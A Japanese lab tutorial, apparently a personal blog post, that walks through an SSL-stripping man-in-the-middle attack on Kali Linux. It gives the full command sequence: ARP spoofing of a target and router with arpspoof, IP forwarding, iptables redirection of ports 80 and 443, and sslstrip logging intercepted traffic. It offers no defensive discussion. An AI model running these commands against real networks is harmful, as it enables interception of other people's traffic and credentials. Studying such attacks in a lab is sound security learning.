- SSLストリップ攻撃とは
- sslstripのインストール
- 攻撃端末のIPアドレスとMACアドレスの確認
- 標的端末のIPアドレスとMACアドレスの確認
- ルーターのIPアドレスとMACアドレスの確認
- ARPスプーフィングの実行
- ストリップ攻撃の実行
- IPフォワーディングを無効にする
- 参考
SSLストリップ攻撃とは
SSL ストリップは、Web サイトへの接続を、セキュアな HTTPS から暗号化されていない HTTP にダウングレードさせる攻撃手法です。
攻撃者は、ユーザーのコンピュータと Web サイトの間に流れるすべてのトラフィックを、攻撃者のプロキシサーバーを介してリダイレクトできます。
これにより、HTTPS 通信をしているように見せかけ、暗号化されたデータを復号することが可能となります。
SSLストリップ攻撃の条件
SSLストリップ攻撃を実行するとHTTPS通信の内容を傍受することが可能になります。
攻撃達成の条件として事前にARPスプーフィング攻撃が成功している事が必要になります。
sslstripのインストール
sslstripはKali Linuxに標準でインストールされていないので、 下記コマンドでインストールを実行します。
┌──(root㉿kali)-[/home/kali] └─# apt install sslstrip
攻撃端末のIPアドレスとMACアドレスの確認
攻撃端末のIPアドレスとMACアドレスの確認をします。
IPアドレス:192.168.28.3
MACアドレス:08:00:27:06:b1:3c
┌──(root㉿kali)-[/home/kali] └─# ifconfig eth0 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.28.3 netmask 255.255.255.0 broadcast 192.168.28.255 inet6 fe80::1b11:4e1d:a933:c4ef prefixlen 64 scopeid 0x20<link> ether 08:00:27:06:b1:3c txqueuelen 1000 (イーサネット) RX packets 360 bytes 45363 (44.2 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1278 bytes 86674 (84.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
標的端末のIPアドレスとMACアドレスの確認
標的端末のIPアドレスとMACアドレス
IPアドレス:192.168.28.5
MACアドレス:08:00:27:e8:93:df
┌──(root㉿kali)-[/home/kali] └─# arp -a ? (192.168.28.2) at 08:00:27:60:65:ea [ether] on eth0 ? (192.168.28.5) at 08:00:27:e8:93:df [ether] on eth0 ? (192.168.28.1) at 0a:00:27:00:00:15 [ether] on eth0
ルーターのIPアドレスとMACアドレスの確認
ルーターのIPアドレスとMACアドレス
IPアドレス:192.168.28.1
MACアドレス:0a:00:27:00:00:15
┌──(root㉿kali)-[/home/kali] └─# route add -net 0.0.0.0 netmask 255.255.255.0 gw 192.168.28.1 ┌──(root㉿kali)-[/home/kali] └─# route -n カーネルIP経路テーブル 受信先サイト ゲートウェイ ネットマスク フラグ Metric Ref 使用数 インタフェース 0.0.0.0 192.168.28.1 255.255.255.0 UG 0 0 0 eth0 192.168.28.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
ARPスプーフィングの実行
IPフォワーディングを有効にする
┌──(root㉿kali)-[/home/kali] └─# echo 1 > /proc/sys/net/ipv4/ip_forward ┌──(root㉿kali)-[/home/kali] └─# cat /proc/sys/net/ipv4/ip_forward 1
標的PCに偽の情報を送る
┌──(root㉿kali)-[~] └─# arpspoof -i eth0 -t 192.168.28.5 192.168.28.3 8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c 8:0:27:e8:93:df 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c ・・・延々と出力され続ける
ルーターに偽の情報を送る
┌──(root㉿kali)-[/home/kali] └─# arpspoof -i eth0 -t 192.168.28.1 192.168.28.3 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c 8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.3 is-at 8:0:27:6:b1:3c ・・・延々と出力され続ける
SSLストリップ攻撃を有効にするためにIPテーブルを書き換える
┌──(root㉿kali)-[/home/kali] └─# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 ┌──(root㉿kali)-[/home/kali] └─# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
ストリップ攻撃の実行
┌──(root㉿kali)-[/home/kali] └─# sslstrip -f -a -k -l 8080 -w /root/sslstrip.txt
SSLストリップ攻撃のログを取得する
┌──(root㉿kali)-[/home/kali] └─# cd /root/ ┌──(root㉿kali)-[~] └─# cat sslstrip.txt
ストリップ攻撃の実行とログの取得については、 Ettercapを使用する方法でも可能らしい。
┌──(root㉿kali)-[/home/kali] └─# sslstrip -f -a -k -l 8080 ┌──(root㉿kali)-[~] └─# ettercap -G
IPフォワーディングを無効にする
後処理としてIPフォワーディングを無効にしておきます。
┌──(root㉿kali)-[/home/kali] └─# echo 0 > /proc/sys/net/ipv4/ip_forward ┌──(root㉿kali)-[/home/kali] └─# cat /proc/sys/net/ipv4/ip_forward 0